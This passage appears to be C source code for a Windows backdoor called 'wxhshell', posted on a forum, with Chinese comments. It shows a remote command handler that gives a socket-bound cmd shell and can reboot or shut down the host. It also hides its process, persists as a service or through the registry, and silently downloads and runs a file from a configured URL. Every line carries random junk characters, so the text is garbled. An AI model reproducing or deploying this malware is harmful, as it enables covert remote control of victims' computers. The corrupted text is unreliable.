  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  eQU~A9  
  else SNOML7pd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  DJJd_  
  } MXa(Oi2Gg  
  else { Q)[DSM  
"$k rK7Z  
    switch(cmd[0]) { )&{<gyS1  
  ,_M  
  // 帮助 r oM!%hb  
  case '?': { 93VbB[w~7F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `8lS)R!  
    break; BqtUL_jm  
  }  P y!$r  
  // 安装 <8iu:nR  
  case 'i': { fNk0&M  
    if(Install()) ;k:17&:8ue  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y2M]z:Y U  
    else [[7=rn}@<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3C gmZ7[  
    break; ty\F~]Oo  
    } .%G>z"Xx  
  // 卸载 BVzMgn;  
  case 'r': { <~teD[1k"  
    if(Uninstall()) _Kwp8_kTr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5ktFL<^5T  
    else JUCp#[q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &dky_H  
    break; 6o)RsxN eu  
    } ) #l&BV5  
  // 显示 wxhshell 所在路径 -P:o ^_)g  
  case 'p': { eA_]%7+`  
    char svExeFile[MAX_PATH]; 4DgH/Yo  
    strcpy(svExeFile,"\n\r"); ]%2y`Jrl^W  
      strcat(svExeFile,ExeFile); "t)$4gERK  
        send(wsh,svExeFile,strlen(svExeFile),0); (91 YHhk{  
    break; "lRxatM  
    } e'|IRhr  
  // 重启 zQ#2BOx1  
  case 'b': { 6L<QKE=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %Y-5L;MI  
    if(Boot(REBOOT)) e'A 1%g)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #h}a   
    else { ;_ S D W  
    closesocket(wsh); yu}yON  
    ExitThread(0); |,Kk#`lW<f  
    } :MihVLF  
    break; ~%L=<TBAc  
    } ?mHu eX  
  // 关机 7g>|e  
  case 'd': { h?Lp9VF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L/?jtF:o  
    if(Boot(SHUTDOWN)) / ?'FSWDU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BG8`B'i  
    else { &3$FkU^F6  
    closesocket(wsh); |Ae7wXOs  
    ExitThread(0); \Mzr[dI  
    } N4l}5(e  
    break; aTwBRm  
    }  ]&OI.p  
  // 获取shell *?pnTQs^  
  case 's': { YYhN>d$  
    CmdShell(wsh); _>J`e7j+  
    closesocket(wsh); F~sUfqiJ'  
    ExitThread(0); f^)iv ]p  
    break; JAX`iQd  
  } \h/)un5  
  // 退出 fTt\@" V  
  case 'x': { &NX7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w>e+UW25Y  
    CloseIt(wsh); NG8 F'=<  
    break; L{0\M`B-  
    } {>Hn:jW<.  
  // 离开 mwutv8?  
  case 'q': { =I0J1Ob  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f#McTC3C  
    closesocket(wsh); BvS!P8  
    WSACleanup(); NJCSo(O  
    exit(1); &2nICAN[  
    break; L[^.pO  
        } y@(EGfI  
  } /r8sL)D+  
  } ^^g u  
4Uhh]/  
  // 提示信息 h_Ssm{C\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2UG>(R:  
} #&b<D2d  
  } pVM1%n:#  
ITy/h]0  
  return; ?pWda<&  
} [A'e7Do%'  
j\HZ5  
// shell模块句柄 #^tnRfS"  
int CmdShell(SOCKET sock) %]1te*_  
{ |]~],  
STARTUPINFO si; mQ9y{}t=4  
ZeroMemory(&si,sizeof(si)); LrT? ]o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZH<qidpR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qxfds`4V9i  
PROCESS_INFORMATION ProcessInfo; 55ft ,a  
char cmdline[]="cmd"; Jn%Etz-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e8M0Lz#}  
  return 0; DVt^O [  
} D`fIw` _  
D!8v$(#hR  
// 自身启动模式 0p+3 6g  
int StartFromService(void) @; tM R|p  
{ >2v<;.  
typedef struct X|yVRQ?F`  
{ 6n|][! f  
  DWORD ExitStatus; _S,UpR~2W  
  DWORD PebBaseAddress; Gx*B(t]4y  
  DWORD AffinityMask; 3 }3C*w+  
  DWORD BasePriority; 8|nc( $}~  
  ULONG UniqueProcessId; x`Wb9[u8  
  ULONG InheritedFromUniqueProcessId; &Ez+4.srkh  
}   PROCESS_BASIC_INFORMATION; hj\A-Yf  
bYmk5fpRG  
PROCNTQSIP NtQueryInformationProcess; &fsk ESV0  
wD /jN:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R?y_tho4A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yr\quinLL  
#.vp \W  
  HANDLE             hProcess; 2Da0*xn{  
  PROCESS_BASIC_INFORMATION pbi; [dXa,  
BY9Z}/{j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D< kf/hj  
  if(NULL == hInst ) return 0; ?M^qSo=/~  
]E)D})r`#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HA0F'k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7j HrLsB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :9e4(7~ona  
("YWJJ'H  
  if (!NtQueryInformationProcess) return 0; 1<cx!=w'  
; K,5qs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |)br-?2  
  if(!hProcess) return 0; <9\Lv]ng  
i/Nc)kKL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I`s~.fZt  
"3'a.b akw  
  CloseHandle(hProcess); J*_^~t  
S<jiy<|`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z|fi$2k0!  
if(hProcess==NULL) return 0; 4TyzD%pOw  
{?q`9[Z  
HMODULE hMod; ^/cqE[V~,  
char procName[255]; +p&zM3:9w  
unsigned long cbNeeded; \T!,Z;zK  
%zo 6A1Q;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t 1~k+  
,tDLpnB@;  
  CloseHandle(hProcess); pMY7{z  
l5]R*mR  
if(strstr(procName,"services")) return 1; // 以服务启动 h6bvUI+|h  
"a(e2H2&T4  
  return 0; // 注册表启动 (zxL!ZR<  
} N<<O(r  
q(csZ\e=  
// 主模块 v$+A!eo  
int StartWxhshell(LPSTR lpCmdLine) J1 w3g,  
{ 5s;@;V  
  SOCKET wsl; C(UWir3mW?  
BOOL val=TRUE; Vk2%yw>  
  int port=0; Efoy]6P\  
  struct sockaddr_in door; TU;AO%5  
_yF@k~ h  
  if(wscfg.ws_autoins) Install(); @=2u;$.  
Hzc}NyJ  
port=atoi(lpCmdLine); }x& X vI  
KS1udH^Zc  
if(port<=0) port=wscfg.ws_port; n2:Uu>/  
HR?bnkv|id  
  WSADATA data;  @' %XdH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i[MBO`FF  
y~Yv^'Epf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,7 m33Pv*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _\8E/4zh  
  door.sin_family = AF_INET; -SLk8x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JG&E"j#q  
  door.sin_port = htons(port); 0LYf0^P  
+t&+f7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z [l+{  
closesocket(wsl); c}|} o^  
return 1; .3jijc j  
} >o%X;U 3  
vbX.0f "n  
  if(listen(wsl,2) == INVALID_SOCKET) { y+=s/c  
closesocket(wsl); 6 8fnh'I!  
return 1; /x]^Cqe  
} LN5BU,4=  
  Wxhshell(wsl); F_i"v5#  
  WSACleanup(); #f;6Ia>#  
t:P7ah  
return 0; f="ZplW  
9V~hz (^  
} 65VTKlDD  
OoRg:"9{#  
// 以NT服务方式启动 he@Y1CY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &;W K=#  
{ lxbC 7?O  
DWORD   status = 0; M+^ NF\  
  DWORD   specificError = 0xfffffff; 8zcS h/  
f`K#=_Kq7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `:R9M+ OX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,_/\pX0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O2yD{i#l*#  
  serviceStatus.dwWin32ExitCode     = 0; wDSwcNS  
  serviceStatus.dwServiceSpecificExitCode = 0; v-^<,|vm2f  
  serviceStatus.dwCheckPoint       = 0; GMkni'pV  
  serviceStatus.dwWaitHint       = 0; ?R4u>AHS@  
V$:%CIn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b|may/xWH  
  if (hServiceStatusHandle==0) return; %rf6 >  
T00sYoK  
status = GetLastError(); ~IPATG  
  if (status!=NO_ERROR) U%Hcc k'  
{ nv7)X2jja  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }sJ}c}b  
    serviceStatus.dwCheckPoint       = 0; 4~ &X]/_'  
    serviceStatus.dwWaitHint       = 0; ;j[gE  
    serviceStatus.dwWin32ExitCode     = status; ux*G*QZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; *b!.9pK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 {F#_.  
    return; F&^&"(H}  
  } 1{RA\CF  
%KN2iNq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <g\:By^  
  serviceStatus.dwCheckPoint       = 0; aqImW  
  serviceStatus.dwWaitHint       = 0; : ;hm^m]Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?5;wPDsK  
} ^vv 1cft  
8Fbt >-N<\  
// 处理NT服务事件,比如:启动、停止 S$P=;#r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;9-J=@KY4  
{ BZKg:;9  
switch(fdwControl) ^y93h8\y  
{ s&CK  
case SERVICE_CONTROL_STOP: 'PW/0k  
  serviceStatus.dwWin32ExitCode = 0; JlawkA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7L6^IK  
  serviceStatus.dwCheckPoint   = 0; m(1ot M9  
  serviceStatus.dwWaitHint     = 0; "4T36b  
  { s<:) ;-tL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 33a}M;vx  
  } y5D3zqCG  
  return; JDp=w,7LF  
case SERVICE_CONTROL_PAUSE: gxe u2 HG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nE0I[T(  
  break; :uqEGnEut  
case SERVICE_CONTROL_CONTINUE: %U .x9UL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Jy[rA<x$  
  break; _ 5b~3K/V  
case SERVICE_CONTROL_INTERROGATE: &uV|Ie8@q  
  break; >* F#ZZv}p  
}; : Q2=t!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); usu{1&g  
} q[Ey!h)xq  
zW hzU|=8  
// 标准应用程序主函数 aW;)-0+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t-iQaobF  
{ _`laP5~  
hv#LKyp%  
// 获取操作系统版本 ^)$T`  
OsIsNt=GetOsVer(); 7s{['t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \q^ dhY>)  
4(Y-TFaf  
  // 从命令行安装 uKJo5%>  
  if(strpbrk(lpCmdLine,"iI")) Install(); EpCNp FQT<  
$bBUL C  
  // 下载执行文件 CG J_k?h  
if(wscfg.ws_downexe) { sebuuL.l0<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jxq89x  
  WinExec(wscfg.ws_filenam,SW_HIDE); P8 w56  
} }XRfHQk  
^L\w"`,~  
if(!OsIsNt) { up~p_{x)Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 5g'aNkF6>  
HideProc();  (tT%rj!  
StartWxhshell(lpCmdLine); .Rb1%1bdc  
} N>g6KgX{K  
else =BV_ ?  
  if(StartFromService()) s%m?Yh3  
  // 以服务方式启动 ~X'hRNFx~  
  StartServiceCtrlDispatcher(DispatchTable); X)c0 y3hk  
else -:Juxh  
  // 普通方式启动 9`@}KnvB?  
  StartWxhshell(lpCmdLine); @)z?i  
e;"%h%'  
return 0; )IIWXN2A  
}
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只看该作者 1 发表于: 2006-10-10
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